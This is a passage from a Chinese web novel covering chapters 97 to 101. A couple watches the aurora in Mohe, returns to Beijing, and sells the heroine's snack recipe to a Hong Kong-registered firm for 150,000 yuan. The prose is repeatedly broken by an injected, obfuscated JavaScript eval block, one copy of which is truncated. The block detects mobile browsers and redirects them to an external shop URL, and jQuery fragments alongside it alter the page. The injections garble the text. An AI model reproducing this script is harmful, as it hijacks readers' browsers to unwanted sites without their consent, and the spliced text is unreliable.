要不说东北人大气、热情呢。符伊年和祝镕在漠河的这段时间里,二姨变着法儿的做好吃的,顿顿六个菜,顿顿有大荤。 第一天晚上五条鱼都做了,两条红烧两条清蒸;第二天杀了一只家里的老母鸡,和前一年晒干的榛蘑一起炖;第三天是红烧肉和大肘子;第四天是二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13360993|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨夫进山打到的兔子,一半红烧一半烧烤…… 其余的像溜肥肠、锅包肉、酸菜炖排骨、拍黄瓜、小葱拌豆腐……轮番上桌。符伊年每次吃完都告诫自己下次不能吃这么多了,结果下一次依然十分捧场地吃了个肚子溜圆。 这天晚上两人在河边帐篷里等极光的时候,符伊年揉了揉肚子,又摸了摸脸和下巴,用十分沉痛地声音对祝镕说了个坏消息,“我胖了,都有双下巴了。” 祝镕将怀里的人搂着坐正一些,一只手在她上摩挲了一下,“哪有,现在正正好,以前忒瘦,我都怕别人以为我不给你吃饱。” 也不知道被谁影响的,祝镕好好的京片子,竟然有了东北口音,听着还怪好玩的。 “好几天了,还能看到极光吗?”符伊年脑袋歪了歪,嘴唇正好擦过祝镕的下巴,他的下巴上已经冒了胡茬,刺刺的痒痒的,“要是一直看不到怎么办?” “不知道。”祝镕低下头,柔软的唇在符伊年额头贴了一下,无所谓地说,“看不到就看不到,本来就是出来玩儿的,不必赶行程。” 其实是因为他今天才听说,极光一半是九月到次年四月出现的机率比较大。不过他不打算告诉符伊年,也许不知道也是幸福。人生嘛,也不是处处都按计划走的,有意外才精彩。 在北极村一共住了五天,也不能说完全没看到极光,在最后一个夜晚,有一道微蓝之光,出现在天空的尽头,很模糊、很淡,而且持续的时间也不长,十来分钟的样子,后来就慢慢消失了。 但是已经足够让符伊年激动了,她指着天际,结结巴巴地喊祝镕,“光!极光!蓝,蓝的!祝镕!快看!” 祝镕站到她身边去,搂住她的肩膀, 她目不转睛地看向那束光,期待着它能变得更亮,或者多变幻出不同的颜色。结果,直到十多分钟后,那束微弱的光都消失不见了,也没见有其他颜色出来。 不过,即便这样符伊年也已经很满足了。她盯着天空尽头没动,感受到祝镕靠近后,上半身靠在他胸前,长长地吐出一口气,行了,这次旅行,圆满了。 祝镕拥着符伊年,用自己的身体温暖她,到底是八月末,又是在北极村,晚上还是挺冷的。 符伊年打着呵欠,看向祝镕,“还回去吗?”不等祝镕回答,就自顾自地往下说:“不回了吧,在帐篷里睡一晚?” “不冷吗?”两个人都是只穿了厚外套,帐篷里也只有一张羊毛毯子,祝镕怕冷到符伊年。 符伊年眼睛转了转,“那做些运动?运动一下就不冷了。” 祝镕身子僵了一下,脸皮慢慢变红,“你想好了啊?” 符伊年也有些不好意思,但还是强装着镇定,嗔道:“那,你做不做嘛。哎呀!” 符伊年一个撒娇还没结束,就被祝镕打横抱了起来,“没得反悔了。”然后抱着人大步走向帐篷,钻了进去。 第二天,祝镕一手提着装帐篷和毛毯的包,一手牵着还在打呵欠的符伊年,回去了二姨家。 符伊年在她身后眯着眼完全不看路,全靠祝镕导航,嘴里嘀嘀咕咕地埋怨着祝镕:“手酸死了,要断了,你精力怎么那么好,起那么早干嘛。” 祝镕走在前面,嘴角微微翘着,心情极为愉悦。 98. 消息 第九十八章 祝镕和符伊年的旅行行程就在漠河停止了,既没能去大草原也没去成滨市海边。 既然看到了极光,就算不虚此行了,两人不约而同地提出第二天离开漠河返回哈城。 二姨和二姨夫非常热情,给他们带了很多漠河特产,来自大兴安岭林区的榛蘑、木耳、猴头菇、野生红莓、野生蓝莓,甚至还有一株成年男子手指粗的人参! 野生果子和干货他们可以手下,这算特产。可是人参却是万万不能收的,这东西可珍贵了,而且这时候的人参都是野生的,还没有人工养殖了,更加难得。 符伊年和祝镕推辞了很久,依然没能推辞掉,因为二姨说了,不是给他俩的,是给祝镕父母的,就只能收下了。 符伊年脑子转了转,扯扯祝镕的袖子,“你上次不是说这里的米做出来的米饭熬出来的粥都很好吃吗,我们给阿姨和叔叔买些米回去吧,东北大米很香的。” 祝镕立刻接收到符伊年的意思,点头,看向二姨,“是,正想和二姨说呢,想买些米回去。”其实祝军长和容院长吃小灶都是有特供的,根本用不着买米,他知道这是年年在换一种方式付钱。 二姨依然是那个话,既然是给祝军长和容院长的,是不会收钱的。 “二姨,”符伊年走过去笑着拉住二姨的手,“真不能不给钱,米是要天天吃的呀,这不是一天两天的事儿,再说,总不能让您搭邮费吧?” 符伊年说到这里,发现二姨已经有所松动了,又追加了一句,“咱们部队可是有规定的,不能拿群众一针一线,不然就是犯错误了。” 二姨听闻此言,心中一惊,发现自己差点害了人家,赶忙点头答应下来,“好好好,你要多少?我跳最好的那批给你们。” 符伊年想了想,说了个数,又估摸了下需要的邮费,从钱包里拿出来一百块给二姨,“这次先寄这么多,等吃完了我再发电报?” 二姨当然不会反对,从善如流地答应下来。 从漠河回到哈城,没想到韩昭又来接站了,而且看起来挺焦急的样子。 “出什么事了?”祝镕皱眉,自己并没同韩昭说他们什么时候回到哈城,他不应该知道才对,这样着急地过来接站,不正常。 韩昭虽然急但是并不慌,没有大庭广众之下就嚷嚷出来,而是将两人引到车上,才说出实情,“祝军长打电话过来,说让嫂子早点回去。” 祝镕刚开始听到祝军长的称呼,还以为是找他的,结果后半句又听到说让符伊年早些回去,很是意外,他转头看向符伊年。 符伊年也很茫然。她其实和祝镕是一样的心情,以为是祝军长在喊祝镕回去有事,结果竟然是找自己。 符伊年扭头看向祝镕,情不自禁地问出来,“爸爸找我干什么?” 祝镕挑眉,见她还是一脸好奇,就知道她还没意识到自己的称呼有什么问题。不过现在不是计较这个的时候,“等一下打电话回去问一下,估计是你那个生意有什么事。” 他这样一说,符伊年觉得十分有道理,点点头不屋忧心地道:“不知道是哪个环节出事了,可千万别有人员伤亡。” 这两人还在讨论,韩昭却越听越心惊,“嫂子居然还做生意啊。”不是说还是个大学生吗? 符伊年做谦虚状,“小生意,混个糊口。” 韩昭却不信,若是小生意,怎么会连祝军长都关心起来?这里头,若不是有祝家的股份,祝家也一定在庇护着。这么想着,韩昭就不禁看向祝镕。 祝镕感受到韩昭的视线,瞪了他一眼,正开口要解释,手臂就被符伊年拉了一下,他转头看她,用眼神询问怎么了。 符伊年其实早就想到了会有这么一天,只要祝军长在位一天,必然会有这种类似的声音,即便祝军长退休了,还有祝镕,依然会有人说自己是依靠了祝家的人脉、势力。 解释是解释不完的。还是那句话:舌头长在别人嘴巴里,我们管不住,自己问心无愧就好。 符伊年自己是这样想的。可是祝镕不。他不想符伊年的思想、努力都被人曲解,将她说成是别人的附庸,哪怕是自己。 明明所有的一切,从想法、秘方到工厂开办、经营理念,全都是她自己的主意,有些细节连祝军长和容院长都要称赞,说她是走在时代前列的弄潮儿。 不行,必须澄清。祝镕没有理会符伊年的阻拦,反手握住她的手拍了拍,转头看向韩昭,“你嫂子做的是小吃生意,从头到尾都是她自己的主意和想法,和我、我父母没有任何关系,我们只是在精神上给了她鼓励和支持,我爸我妈还经常告诫她让她早些办理经营许可证,积极纳税,所以我有时候有些羞愧,实在是帮不上她什么。” 韩昭没想到自己这点小心思会被营长看出来,更没想到符伊年的生意竟然一点祝家的势都没有借,不禁表情讪讪的,“那啥,营长,嫂子,对不起。是我想歪了。” 祝镕和符伊年都没有说“没关系”,只是一个严肃的点头,一个怕气氛尴尬说笑了句:“你还是在经济上支持了我一些的。” 祝镕马上反驳,“要不是当时你手里的东西不好出手,你才不会接我的存折呢。” “闭嘴吧。”符伊年无语了几秒,瞪向他。 说话间,车子就来到了电话局。几人一起下车,祝镕和韩昭在外头抽烟,符伊年进去打电话。 因为正是晚饭时间,祝军长和容院长早就下班,这几天也没去别处,只在四合院里休息,符伊年电话一打过来,他们就接到了。 互相问了好说了近况后,符伊年提起了祝军长让她回去的事,“祝伯伯,是出了什么事了吗?很严重吗?” “有点事,不严重,别担心。”祝军长从她打电话过来没有立即问这件事,而是先问了好道了近况后就知道,这个姑娘是个做大事的人,十分沉得住气,他很是满意。 至于让她早点回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369747|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“有个人,自称是港商代表,过来想买下你的工厂。” “啊?”符伊年无论如何都没想到竟然是这样,声音不自觉地提高了些。祝镕在外面听到,立即回头看去,不过见她表情除了吃惊并无其他,又转了回来。 韩昭在一旁看着,心里有了数,“营长,明天我做东请嫂子吃饭吧,算是赔礼。” 祝镕没有立即答应,“听你嫂子的吧,说不定明天就要回去了。” “那就今晚。”韩昭用祈求的目光看向祝镕,“千万别推辞,不然我寝食难安啊。” 祝镕沉吟了半晌,还是那句话,“听她的。” 祝镕要听话的人,此时还在震惊中,“港商?现在有港商回来经商了?政策上允许了?” “有了,说是年初时就有港商给小平同志写信要求回来做贡献,七月中旬的时候出台了文件,要在广东两个地方开设特区,方便对外开放。” “深圳和珠海?”符伊年试探着问。 祝军长却否定了她的说法,“是有珠海,另外一个叫‘宝安’。” 哦,对,深圳以前是叫宝安。符伊年想起来了,“然后就有港商回来了?是真的港商吗?不会是骗人的吧?”符伊年依然持怀疑态度。 “查过了,不全是港商。”祝军长笑起来,心说这孩子忘了咱们家干啥的了,嘴上依然解释着,“说董事长其实是美籍华人,听说改革开放了,想要回国,但是以美籍身份回国开公司好像还不行,就先在港城注册了一间公司,然后再回大陆。” 祝军长耐心好,给符伊年解释的很清楚,至于为什么看中了符伊年的生意,祝军长说对方的理由是觉得“美食在民间”,“越是百姓喜欢的越是好东西”。 符伊年听了,在心底觉得骄傲,认为对方还是比较有眼光的。可不是嘛,得民心者得天下,政治如此,经济也如此,只有人民拥护/喜欢的,才是好的。看来自己做的这个“小”生意,还真是有前途呢。 不过,卖不卖呢?符伊年思考了一下,暂时也没什么想法,“对方什么条件啊?” “来人的语气听起来还挺真诚的,不过具体价格他没有说,直说他会在二十五号再来的。”祝军长在容院长的指示下问,“你们要回来吗?” 二十五号。符伊年算了算日历,嗯,今天已经二十一号了,还有四天。 “回。”符伊年斩钉截铁地说,“出来半个月了,也差不多要回去了,我们都想你们了,阿姨呢,阿姨好不好啊?” “好着呢,”凑在听筒边上的容院长听到符伊年问自己,立即答应,语气中还带着笑,“你们早点回来,不过也别太慌,稳稳当当的。” 于是话题就此转走,说起了别的。 等挂掉电话,已经过去半小时了。符伊年付了钱从电话局里走出来,就看到祝镕严肃的表情,“怎么说了这么久,事情很棘手?” 符伊年沉思了一下,表情莫测,“不好说。” 99. 交易 第九十九章 二十二号清早,祝镕和符伊年乘坐最早一班列车,带着比来时多一倍的行李,回京城去了。 到达京城是二十三日午后,祝军长特意派了车来接。本来只是想让他们早点回去休息,并商议事情。 结果看到两人的从出站口出来,手里提着大箱小包不说看,各自肩上、胳膊上也都背着、挎着不同的大小的包裹。 两人虽然穿着体面,可是这个状态,实在是太像逃荒了。 马龙目瞪口呆,“你俩,这是搬家啊?”他想了半天到底觉得“逃荒”这个说法不好听,换了个词汇。 “您别看着了,赶紧接着吧。”祝镕和马龙熟识,没有那么多客气,等他把自己手里提着的行李箱接过去,自己急忙从符伊年肩膀、手臂上卸下她背着的包裹。 好不容易坐上车,符伊年不禁甩了甩手臂。包裹里装的都是二姨二姨夫还有韩昭父母给的特产,干活为主,可是架不住东西多体积大,重量自然也大了。 “马哥,那些包裹里,有几个用红色布袋装着的东西是给你的,都是黑省特产。”到了四合院,往下拿东西的时候祝镕搂着马龙的肩膀,然后递了一个红包过去,“听说你领证了,恭喜啦!” 马龙本来不想收红包,祝军长和容院长都给了不小的红包,祝镕还没成家,可以不用给的,更何况他和符伊年还给了不少特产的。 不过祝镕说,这红包主要是符伊年的心意,既是为了恭贺他新禧,也是为了答谢他之前的帮助,“你要是不收,我可不好交代。”说着露出一个惨兮兮的表情。 马龙最终收了,对站在祝镕身后的符伊年抱拳道谢,“你知道祝镕在背后蛐蛐你吗?” 符伊年微笑:“现在知道了。”右手一伸,捏住祝镕的耳朵,“胭脂虎的名声都背了,我干脆坐实好了。” 祝镕:马哥!你害我! 提前回来说是商议事情,其实也没什么好商议的,港商只说是想买,但是并没有开出价格或者条件,倒是把人给架在那里了。 “那你想卖吗?”各自休息好了,两人坐在沙发上一人抱着半个西瓜挖着吃,祝镕将自己那半的西瓜心挖出来喂给符伊年。 “看桂刀扫钱了。”符伊年嚼嚼嚼,含糊不清地说。 祝镕听出来她说得是看对方出多少钱的意思,出得多她就卖,“那你的心里价位是多少?” 符伊年歪着脑袋想了想,冲他竖起一根食指。 “一万?”祝镕想了想,好像也可以,这座四合院连买带装修也就这个价,在这个年代,不少了。 哪知道,符伊年却摇起了头,“不不不,一万我才不卖呢,就按照现在的欢迎程度,用不了一年,我的月营业额就能有一万,低于十万不考虑,我可是独家秘方。” 符伊年告诉祝镕,对方绝对是找人仿制过她的辣条的,因为她早就听说有人在和自己的产品抢市场了。不过,符伊年的秘方是她自己调制的,里头调料众多,还有几种药食同源的药材,对方很难模仿,口味比不上。 吃惯了好东西,谁愿意去吃劣质品? “仿不过,那就只好砸钱买了。”符伊年耸耸肩,“买秘方最省事,能开工厂大规模生产。要不是现在还没有专利法,我就去注册个专利。” 就像朗科,因为闪存U盘专利,坐着翘脚就能收钱。可是,专利是有期限的,最多二十年,到期后就失效了。 更何况小吃这个东西,更新换代更快,再过几年,也许就不流行了,还是趁着机会卖个好价钱吧。 听了符伊年的解释,祝镕忍不住咂舌,“这里头门道太多了,丝毫不比打仗容易。” 符伊年笑起来,“要不说‘商场如战场’呢,一不留神,就被敌方杀了个片甲不留,到时候没有利润都算好的,赔钱也还可以,就怕有些人倾家荡产投入进去了,最后血本无归。” 祝镕点头,“我还是适合钢铁洪流,这种玩儿心眼儿的事,交给你了。” “你哪只眼睛看见我有心眼了?”符伊年简直哭笑不得,“我一直觉得我是傻白,嗯,半甜吧。” 祝镕又不懂了,他最近发现,符伊年经常说些有意思的词语,搞得他像是文盲一样,于是“文盲”不懂就问:“什么是‘傻白’还有‘半甜’” 符伊年也十分乐意为他解惑,“‘傻白甜’,就是形容一个人智商情商都不高但是十分可爱十分甜美,不算褒义词。” 祝镕理解了一下,摇头,“不不不,你可不是‘傻白甜’,半甜也不是。” 符伊年:我怎么觉得你这话并不是夸我呢? 二十五号一转眼就到。对方再次打电话到四合院来,符伊年这次没同意让对方过来,而是约在了外面,一个环境比较不错、安全也有保证的饭店的包厢。 地方是祝镕安排的,到了之后符伊年才发现,这是上一次祝军长和容院长给她过生日、告诉她祝镕去南疆那天的地方,甚至连包间都是同一间。 符伊年不禁看向祝镕,祝镕正在同服务员点茶水点心,感受到她的目光,看了过去。符伊年摇摇头,表示没事。点完茶点,祝镕又告诉服务员,若是有一位自称“夏先生”的人来找,就请他进来。 两人没有等多久,夏先生就到了。双方互相自我介绍后,重新落座。 符伊年趁着祝镕和对方寒暄的时候,在暗暗打量这位夏先生,个子不算高,一米七多一点,典型的南方人长相,但是口音却一点港城或者粤省的口音都没有,听起来更像是湘省那里的人。 双方没有多做无用寒暄,确认过身份后直接进入正题。夏先生说他只是公司驻京代表,负责寻找可投资的项目,上报公司,然后由公司决定是否有投资可行性。 “这个项目是公司调研后,认为可行性比较高的,所以想问一下祝先僧,是否有融资或者出售的意愿?” 不知道是不是错觉,符伊年总感觉对方说话有一种高高在上的姿态,有种“我来同你商谈是瞧得起你”的意味。更别说从进门,除了打招呼,没有同符伊年说过一句话,他明知道工厂是符伊年的,却一点都不尊重她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387884|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 符伊年其实很生气,不过她没有表现出来,或许对方只是一种策略,即便他是真的对女性有偏见,符伊年也可以看在钱的面子上暂且放过。 两个人一起久了,是有些默契的。符伊年不动声色,但是呼吸频率变了。祝镕一下子就感觉到了,他停了片刻,见符伊年没有开口,便自己提出问题,“融资怎么说?出售又是怎么个条件?” 夏先生给他们介绍。融资就是双方合作做大做强,“我们出资金,盖厂房、买机器、拓宽销售渠道,你们出配方;双方按比例持股,不过我们公司持股是不能少于51%的。” 符伊年简直要笑了,头一次听说双方合作,出技术的持股小于出资金的。 符伊年不知道,这种事在改革开放初期其实常有,因为我们想要发展想要商机,就要对外招商,为了吸引港资、外资,很多时候要放弃更多的权力,为对方提供便利。 这种事即便几十年后也存在。但是会随着我们国力的发展和增强,变得越来越少。 “至于出售,那就是你们将现有的配方、制作方法等全部卖给我们公司,尤其秘方,从此和你们没有任何关系。”夏先生说,“当然,自家食用不涉及商业的,还是可以使用的。” 至于两种方法下对方的出资,夏先生说,符伊年的工厂其实和还没从作坊做大,目前固定资产大概五千块,技术资产估算为每年可盈利八千块,所以公司决定出资两万七前块,持股51%。 “如果出售买断,”夏先生说到这里隐晦地看了眼符伊年,“公司决定出八万。” 祝镕和符伊年对视了一眼,心中都是一个想法:这人怕是当他们什么都不懂吧。 两人脑电波交流了片刻,依然是祝镕开口,“太少了。这个数我们是不可能同意的。看起来,夏先生和你的老板并没有什么诚意。”说着他端起茶杯喝了一口,这是端茶送客的意思了。 夏先生心里一惊,急忙摆手,“不不不,祝先生,我们是非常有诚意的,请您不要怀疑。”同时在心中懊悔自己擅作主张少说了三分之一的金额,又在心中撇嘴:这些土老帽,还挺精明的。 符伊年和祝镕不知他心中所想。不过,两人都从他这份焦急中看到了契机,知道这是还可以再讨论商谈的意思。毕竟,买个菜都要讨价还价的,更何况是秘方。 也许是沉默地久了些,夏先生以为他们是对自己不满了,于是决定试探他们的想法,“我们公司真的非常有诚意,您二位若是有什么想法和条件,可以提,我回去汇报,一切都是好商量嘛。” 祝镕看向符伊年,这毕竟是她的秘方,工厂的许可证上的法人名字也是她,最终究竟如何,还是要符伊年自己拿主意。 倒不是祝镕推脱责任。只是有句话说得好:至亲至疏夫妻。每个人都要给对方保留独立的空间。 符伊年沉思了几秒钟,看向夏先生,“夏先生真的能做主吗?我是说在合同上签字的时候。如果不能的话,我希望下次和贵司能做主的人对话。” 夏先生脸色骤变。 100. 成交 第一零零章 隔天,还是那个包厢,符伊年和祝镕见到了夏先生所在公司的总经理,柳旻先生。 柳先生是公司董事长的独子,大概二十七八岁。这一次他们公司到大陆投资,就是他提出并主持的。收购符伊年工厂的项目,只是他们所有投资项目中的一个,甚至投资额都是最小的那个。 所以当听说符伊年说要见一个能在合同书上签字的、能在公司说得上话做得了主的,柳旻先是吃惊和不可置信,后来又觉得有些意思,于是干脆放弃了另外一项本该去的商谈,来了这里。 他想看看究竟是什么人,听起来好像很懂的样子。 柳旻和夏卓先到的。柳旻很精明,也比夏卓更细心、观察更仔细,从进了这所院子开始,到进入包间,他就知道这场和谈恐怕不好应付。 符伊年和祝镕来得稍微晚了一点。倒不是故意的,只是临出发时,祝军长让人调查对方的事情有了更详细的资料。 要买符伊年秘方的公司名为“恩慈”,但是董事长姓柳,名为柳贺燕,是粤省羊城人,祖上清末时期是粤海关的重要官员,家里也经商,资产颇丰,妥妥的资本家。 建国后,柳家最开始几年日子还不错,后来形势动荡,几支分别陆续从宝安(现深圳)借道港城、澳城去了国外,有的去了伦敦有的去了巴黎有的在洛杉矶或者纽约。 这位柳贺燕是六二年去的洛杉矶,那一年他二十二岁。不过和别人借道港澳离开不一样,这位柳贺燕是从天津港偷偷上了一艘货轮,偷渡到洛杉矶的。到了在洛杉矶后先是因为黑户吃了些苦,之后获得了绿卡,又打拼了很多年,建立了这间公司,娶妻生子,商业版图也越做越大,范围涵盖了地产、航运、零售等多方面。 自从年初中美建交后,很多华侨华人都纷纷动了回国投资的念头。这间“恩慈”就是其中之一,也是最早的一批之一。 “不过好奇怪,”看到这份资料的符伊年发现了个问题,“按说柳贺燕老先生是粤省人,他从港城或者澳城离开才是最方便的,为什么跑到了天津港偷渡?几乎穿越了半个中国啊。” 祝镕耸耸肩,表示不清楚,“可能有什么牵挂?或者以为自己再不会回来,走一走华国大地?” 符伊年无语,“这话你信吗?” 祝镕不信,所以说他是在说笑嘛。 “不管怎么说,这份资料还是挺有用的。”祝镕将资料重新装回档案袋里,“柳老先生肯出国后再回国投资,就说明他的心是偏向我们的,虽然说‘只谈生意不谈主义’,可是我们可以谈‘道义’。” 符伊年立即明白祝镕话中的意思,这个时期的外国商人,无论是否华人华侨,其实都在观望,毕竟华国封锁了三十来年,如今说改革开放,谁也不知道会开放到什么程度,也不知道政策是否会有反复。 所以,能提出改革开放才半年就回国投资的,应该是有很强烈的家国情怀的,或者还有惦念的亲友在国内。 因为这一番讨论,所以两人出门的时候晚了点,不过依然在约定时间之前到达。本来以为不会迟到,可是没想到对方来的更早。 符伊年心底犯嘀咕,怎么这么早,不是说国外都必须准时吗、提早或者迟到都是对对方的不尊重? 双方落座,夏先生作为对双方都熟知的人给他们各自介绍对方。 柳旻比夏卓精明多了,知道符伊年一个女子能办成工厂肯定不是个普通的弱女子,更何况她手里还有配方,她才是此次要攻略的对象。 至于祝镕,柳旻也打听过,但是能打听到的不多,军二代,战斗英雄,其他再打听不到了。此时此刻,这人一件黑色休闲T一条牛仔裤一双运动鞋,和洛杉矶随处可见的普通男青年一样的打扮,通身气度温润,更像是一个风华正茂的大学生。 “符女士说要同能做得了主的人对话,现在我来了,您有什么话可以同我说。”柳旻盯着符伊年的脸,觉得有些熟悉,接着在心底笑一下自己,怎么回了国竟然犯了宝玉的毛病。 符伊年知道对方这是在抢占主动权。而且吧,这话听起来是在询问,细想一下,好像有点嘲讽的意味。 符伊年考虑了两秒,决定不同对方绕弯子,她伸手比了两根指头,“二十万,买不买?” 柳旻完全没想到,对方连试探一下都没有,甚至连讨价还价环节都没有,直接来了一记直球。 柳旻吃惊和思考的这么会儿功夫,符伊年佯做不耐,“行不行给句话,买就签合同,不卖就算了。”顿了顿补充,“放心,我们遵纪守法,不干强买强卖的事儿。” 柳旻又看了符伊年一眼,将视线从她脸上收回,“二十万太多了吧?”他怀疑对方其实不想卖,所以故意开了这么高的价格,让自己知难而退。 符伊年还真不是这样想的,她是真的想买了这个方子的。其实她很清楚自己的能力,如今工厂十几个人管理起来还比较得心应手,若是规模再扩大一些,恐怕就要力不从心了,而且配方也不是一成不变的,也要时时创新,她已经大三了,很快就大四面临实习,以后未必会有这个时间和精力搞研发。 所以,昨晚她思考再三,又同祝军长和容院长还有祝镕商议过后,决定卖掉这个配方,至于价格,祝军长和容院长都觉得十万这个数字已经可以了,倒是祝镕,他从昨天夏先生的态度里发觉,或许可以再提一点。 不过祝镕也没有想到,符伊年居然上来一开口就要二十万,忍不住自心底吃惊,她这算不算柿子大开口啊? 在场四个人,三个人都是差不多的想法,符伊年却一脸的理当如此,“我们产品的品质和销量如何,想必贵司已经调查清楚了,那么对产品的潜力应该也了解了吧?目前我们产品还只是在京城周围销售,尚未推广到周边。” “因为改革开放政策的推行,个体和私营开始如雨后春笋多了起来,但是政策的制定没那么快,所以直到上个月才有了许可经营,规模也才慢慢变大。根据流水和账本看,当前月流水达五千块。” 符伊年的意思很明显,我们的产品很有潜力,你不会亏的。 大家都是聪明人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404251|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,柳旻也明白了符伊年话中的意思,沉思了片刻,提出了另外一个问题,“既然前景如此明朗和远大,那你为什么不继续做下去做大呢?” 这个问题,符伊年并不意外。如同上面所说的那些,总结起来无非就是:经济原因、学业原因、职业规划…… 符伊年当然不会将所有这些原因说给对方听,她想用“个人规划”四个字来打发对方。 可惜,柳旻却不肯据此放过,依然盯着符伊年,“愿闻其详。”同时心里越发纳罕:到底在哪儿见过这张脸呢?怎么越看越眼熟? 祝镕率先感觉到对方打量符伊年的视线,但是他也能柑橘到对方的视线并不是对女色的觊觎或者对异性的爱慕,而是好奇和疑惑,还有思索和不解。 似乎在透过符伊年的面庞,在看什么熟悉的人。 同样的,符伊年也能感受到对方的打量,但是这种目光并没有恶意,她也没有感到冒犯。 半分钟后,对方依然在等待她的答案。 符伊年想想,反正时间还多,说一说也无妨,说不定说完之后对方就做好决定了呢。 “您从漂亮国回来没多久,对华国了解的恐怕还不多。华国是个农业大国,华国的农业人口占总人口的七成以上,在这些农业人口中,不说小康,有的地方连温饱都还无法保证。” “乡村要想振兴,首先要脱贫,还得是全面脱贫,要想全面脱贫,光靠种植粮食肯定不行,经济作物要跟上,除了经济作物,还要发展其他农林经济。” 符伊年简略地同对方讲,她就是学农林经济的,“我其实没有很大的经商才能,很多事情其实就是昙花一现的想法,其他人未必没有产生过类似的想法,只是我付诸实践罢了。接下来我还是打算按照我的专业,为农村经济做些事。” 符伊年的话不算条理十分清楚,但是大致意思说明白了,柳旻听了后表情没有什么变化,但是对于符伊年的追求和想法,表示赞赏。 符伊年淡淡地笑笑,没把对方的话放在心上,同时瞄了一眼身旁的祝镕。祝镕表情看起来没有变化,正在低头喝茶,但是符伊年看到了他下撇的嘴角和低垂的眼角,知道他现在兴致不高甚至情绪不好。 符伊年趁祝镕喝完茶放下茶杯的功夫,在桌子下面拍了拍他的大腿,示意他可以说话。 祝镕被她冷不丁一拍,还拍的大腿,距离敏感处非常近,吓得他一口茶差点喷出去。幸好两人默契日益增加,很快他就领会了符伊年的意思。 “快点说生意吧,”祝镕状似不耐烦地说,“商定好了早点把合同签好。” 符伊年于是再次看向柳旻,“柳先生考虑的怎么样?” “十五万,”柳旻最终出价,“配方、员工、生产工序,全部都要卖给我。” 听到对方提到除了配方和生产工序,还要员工,符伊年松了一口气,她正愁如何安置员工呢,现在好了,对方主动提出来了,虽然可能只是为了有熟手帮着生产更顺利。 “好!成交!”符伊年重重点头,笑容也越来越灿烂。 101. 员工 第一零一章 符伊年十五万将她的秘方卖掉了。 十五万,这个即便是后世,普通打工族也要三五年才能攒到的金额,在改革开放之初的如今,只会更让人震惊。这可是普通工人三五十年的工资啊。 就连祝军长和容院长听说了,都是沉默了,半晌后才消化吸收了这件事。 祝军长端起茶杯吹吹茶水,又放下,“果然是改革开放经济挂帅。” “其实我主要是打个时间差,若是再过两年,说不定就卖不到这么高的价格了。”符伊年笑着解释,“过几年,私人生意如雨后春笋,类似的秘方多的是。” 容院长也有些瞠目结舌,她想象不到,若是随便一个人卖个配方都能赚十五万,那还有人愿意参军、行医、科研、做工人吗? “有的。”祝镕斩钉截铁地说,“总会这样的人,心中有信仰、有信念、有理想、有抱负,他们甘守清贫、不求名利,会开辟另外一片天地,在他们心中有星辰大海,也有粮谷满仓。” 符伊年十分赞同祝镕这句话,“商业带来经济效益,也是为军事、医疗、科技提供动力,军事发展了国家强大了腰杆子硬气了,医疗发达了人民健康得到保证寿命延长,科技研发出成果推动生产方式和生产力,从而推动工农商……” 符伊年发现自己越说越啰嗦,干脆笑了起来,“总之是个良性循环。” 祝军长和容院长也不是不知道经济发展的益处,他们只是一下子没有想到,也是这个十五万的数字实在太突破他们的想象了,这辈子除了给公家办的事,他们还是第一次知道,个人也能赚这么多的。 符伊年听了这个想法,笑笑。其实以后这种一下子暴富的事情还很多,股票、彩票、拆迁,各种可能。当然,有暴富也有暴穷,炒股/炒房亏到家破人亡跳楼的比比皆是。 不过这种事实在太骇人了,符伊年还是决定不要说了,对于祝军长和符院长这种认认真真工作踏踏实实做人的老革命来说,会吓到的。 得知符伊年把厂子卖掉,工人们慌了,顾不上还要生产和销售,一下子都来找符伊年了,让她给个说法。 “你当初许诺了那么多好处,我们还没看到呢。”一个中年男子在地上吐了一口吐沫,凶狠地说:“如今想把我们扔了,门儿都没有。” 符伊年皱眉,没有立即说话。 